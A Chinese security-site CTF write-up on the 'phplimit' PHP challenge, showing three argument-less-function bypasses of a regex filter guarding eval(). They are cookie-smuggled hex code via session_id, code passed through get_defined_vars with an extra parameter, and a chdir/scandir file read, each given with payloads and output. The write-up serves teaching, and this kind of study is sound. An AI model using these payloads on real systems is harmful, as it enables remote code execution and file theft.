freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

代码审计从入门到放弃(三) & phplimit
蚁景科技 2019-03-15 16:51:45 192740
所属地 湖南省

原创: 一叶飘零 合天智汇

前言

接着前面的代码审计从入门到放弃(一) & function代码审计从入门到放弃(二) & pcrewaf

本次是phplimit这道题,本篇文章提供了3种解法,即如何利用无参数函数进行RCE/任意文件读取

题目概述

题目源码如下:

<?php

if(';' === preg_replace('/[^\W]+\((?R)?\)/''', $_GET['code'])) {    

    eval($_GET['code']);

else {

    show_source(__FILE__);

}

代码非常清晰,首先

preg_replace('/[^\W]+\((?R)?\)/'''$_GET['code'])


代码会将$_GET['code']中满足正则/[^\W]+((?R)?)/的部分,替换为空,然后查看是否剩下的部分强等于;

如果满足,则执行

eval($_GET['code']);


否则什么都不做。那么思路很明确,我们弄清楚正则即可进行RCE

[^\W]+\((?R)?\)


首先是[^\W]

对于\W,其意思等价于[^A-Za-z0-9_]

那么我们知道,我们的input必须以此开头

然后是括号匹配

\( ...... \)

括号中间为

(?R)?


意思为重复整个模式

简单理解,我们可以输入以下类型

a(b(c()))

但我们不能加参数,否则将无法匹配

a(c,d)

所以正则看完,题目的意思非常明确了:

我们只能input函数,但函数中不能使用参数,否则判断句右边经过替换,将不止剩余分号;

漏洞点分析

那么有没有办法通过无参数函数,达到RCE的目的呢?答案显然是不可能的,没有参数,怎么传递我们需要执行的指令呢?

所以我们的目标也变得很明确:通过某种无参数函数获取指定位置的变量value,达到RCE的目的。

那么哪里有我们可以控制的变量,并且还能通过无参数函数获取到呢?
那么思路又变得清晰了,http header就是我们的突破口。我们可以更改header中的各项属性,以及其value。
那么有没有函数可以函数http header呢?
我们在php手册中直接搜索

image.png能用的手段很多,例如

getallheaders()

file_get_contents(array_pop(apache_request_headers()))

但如果我们测试的话,会发现均不可用,因为其为Apache函数

但我们看当前题目

< HTTP/1.1 200 OK

< Server: nginx/1.15.9

Date: Sun, 10 Mar 2019 05:24:56 GMT

< Content-Type: text/html; charset=utf-8

< Transfer-Encoding: chunked

< Connection: keep-alive

< X-Powered-By: PHP/5.6.40

<

其是nginx,所以之前的方式均无效了。

寻找nginx函数

那么现在思路又进一步变为:寻找nginx函数,以获取http headers

查阅php手册,并未发现相关可利用函数,于是此路终止。

那不能获取http headers怎么办?我们又该如何进行参数的传递?

这里我们可以转换一下思路,之间获取http headers,我们能获取非常多的属性,也就是说我们的可修改位置非常多,相当于一个面。但其实我们只要能够获取,并修改1条属性就够了,例如cookie或是X-Forward-For等等……

这样就相当于从寻找一个面变成寻找一个点,难易程度就会大幅下降。

那么最容易想到的应该就是cookie了

法1

我们在php手册中,搜索cookie


image.png

我们点入session中,可以发现这样一个函数


image.png

session_id ([ string $id ] ) : string


session_id() 可以用来获取/设置当前会话 ID。

那么我们可以用此方法来获取phpsessionid,并且phpsessionid可控

但其有限制如下

文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)

但问题不大,实际上我们只要拥有

0-9,a-f


就够了,因为我们可以将16进制转字符串,例如

>>> print 'echo "sky cool";'.encode('hex')

6563686f2022736b7920636f6f6c223b

php > eval(hex2bin('6563686f2022736b7920636f6f6c223b'));

sky cool

我们可以看到,成功的执行命令

也就是说,我们只要使用

eval(hex2bin(session_id()));


即可执行任意命令

但是当前题目并没有开启session_start()

所以我们这里输入如下即可

hex2bin(session_id(session_start()))

我们编写脚本

import requests

url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'

payload = "echo 'sky cool';".encode('hex')

cookies = {

    'PHPSESSID':payload

}

r = requests.get(url=url,cookies=cookies)

print r.content

image.png那么下面就是找flag即可

payload = "var_dump(scandir('./'));".encode('hex')

array(3) {

  [0]=>

  string(1"."

  [1]=>

  string(2".."

  [2]=>

  string(9"index.php"

}

payload = "var_dump(scandir('../'));".encode('hex')

array(4) {

  [0]=>

  string(1"."

  [1]=>

  string(2".."

  [2]=>

  string(14"flag_phpbyp4ss"

  [3]=>

  string(4"html"

}

payload = "var_dump(file_get_contents('../flag_phpbyp4ss'));".encode('hex')

string(38"flag{e86963ba34687d269b9faf526ce68cd7}"

最后可以成功getflag:

flag{e86963ba34687d269b9faf526ce68cd7}

法2

我们通过php session的控制,达成了RCE的目的,那么我们有没有其他类似的方法呢?
答案是肯定的,我们还可以通过我们传递的参数来进行RCE
有如下函数

get_defined_vars()

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

我们测试一下

http://localhost/?code=var_dump(get_defined_vars());&a=2


得到回显

array(4) { ["_GET"]=> array(2) { ["code"]=> string(29"var_dump(get_defined_vars());" ["a"]=> string(1"2" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } }


那么如何将里面的

["a"]=> string(1"2" 


提取出来呢?

image.png

这里有一系列提取位置的函数,我们首先使用current()函数

得到回显

?code=var_dump(current(get_defined_vars()));&a=2

array(2) { ["code"]=> string(38"var_dump(current(get_defined_vars()));" ["a"]=> string(1"2" }

我们再取这个数组的最后一个

?code=var_dump(end(current(get_defined_vars())));&a=2

string(1) "2"

即得到了回显。

那么后面就比较简单了,控制a进行RCE即可

?code=eval(end(current(get_defined_vars())));&a=phpinfo();


image.png然后getflag

?code=eval(end(current(get_defined_vars())));&a=readfile(%27../flag_phpbyp4ss%27);


即可拿到flag

flag{e86963ba34687d269b9faf526ce68cd7}

法3

为什么一定要RCE呢?这个题既然flag放在文件里,我们能不能直接读文件就行?

之前的方法都基于可以进行RCE,可以说我们是把题目难度又加大了,实际上,我们只进行任意文件读取即可

那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?

首先,我们可以利用getcwd()获取当前目录

?code=var_dump(getcwd());

string(13"/var/www/html"

那么怎么进行当前目录的目录遍历呢?

这里用scandir()即可

?code=var_dump(scandir(getcwd()));

array(3) { [0]=> string(1"." [1]=> string(2".." [2]=> string(9"index.php" }

那么既然不在这一层目录,如何进行目录上跳呢?

我们用dirname()即可

?code=var_dump(scandir(dirname(getcwd())));

array(4) { [0]=> string(1"." [1]=> string(2".." [2]=> string(14"flag_phpbyp4ss" [3]=> string(4"html" }

即可发现flag文件,那么问题又回到之前,如果取数组指定位置的值,我们需要取的位置是第3个,我们有的方法如下

current() 取第一个

next() 取第二个

end() 取最后一个

那么怎么取第三个呢?

我们这里让数组倒叙,然后取第二个即可

?code=var_dump(next(array_reverse(scandir(dirname(getcwd())))));

string(14"flag_phpbyp4ss"

那么读文件

?code=file_get_contents(next(array_reverse(scandir(dirname(getcwd())))));

Warning: file_get_contents(flag_phpbyp4ss): failed to open stream: No such file or directory in /var/www/html/index.php(3) : eval()'d code on line 1

发现报错了,我们找不到这个文件,因为没有../上跳呀,这该怎么办呢?

这里我们发现有函数可以更改当前目录

chdir ( string $directory ) : bool


将 PHP 的当前目录改为 directory。

所以我们这里在

dirname(getcwd())

进行如下设置即可

chdir(dirname(getcwd()))


这样我们的当前目录就在/var/www下了

但此时,我们的值变为了bool值,我们为了遍历目录,需要让他变回来,所以我们先进行目录上跳

var_dump(dirname(chdir(dirname(getcwd()))));

string(1) "."

再列目录

var_dump(scandir(dirname(chdir(dirname(getcwd())))));

array(4) { [0]=> string(1"." [1]=> string(2".." [2]=> string(14"flag_phpbyp4ss" [3]=> string(4"html" }

然后就回到了之前的问题了,我们直接取文件,读取即可

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));


即可拿到flag

flag{e86963ba34687d269b9faf526ce68cd7}

小结

这种开放式的题目非常有趣,可以帮助我们了解许多php黑魔法和各种组合,我相信方法远不止这3种,欢迎各位讨论!

相关实验操作

1. PHP脚本语言基础:学会基础的PHP编程

http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001

image.png2. Nginx代码执行和目录跨越漏洞:熟悉目录跨越的成因和攻击利用

http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2016091916132900001

image.png


本文为合天原创,未经允许,严禁转载。

# 合天智汇
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透测试和实践
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18